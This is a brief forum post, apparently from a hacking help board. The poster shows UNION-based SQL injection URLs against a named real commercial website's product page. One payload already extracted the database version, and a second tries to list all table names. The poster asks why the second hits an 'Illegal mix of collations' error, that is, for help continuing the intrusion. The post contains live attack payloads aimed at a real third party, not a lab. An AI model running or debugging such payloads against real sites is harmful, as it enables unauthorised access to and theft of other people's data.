Thank you, Ruslan1817.

I still have a problem.

http://bohemianchandeliers.co.uk/prod_detail.php?id=14&cat=1'+union+select+1,2,3,4, version(),6,7,8,9,10,1 1,12,13,14,15,16,17,18,19,20+--+

Then I get 5.1.41-3ubuntu12.10-log, but when I execute like this.

http://bohemianchandeliers.co.uk/prod_detail.php?id=14&cat=1%27+union+select+1,2,3, 4,group_concat(table_name),6,7,8,9,10,11,12,13,14, 15,16,17,18,19,20+from+information_schema.tables%2 0where%20table_schema=database()+--+

And I get- Illegal mix of collations for operation 'UNION'

Why?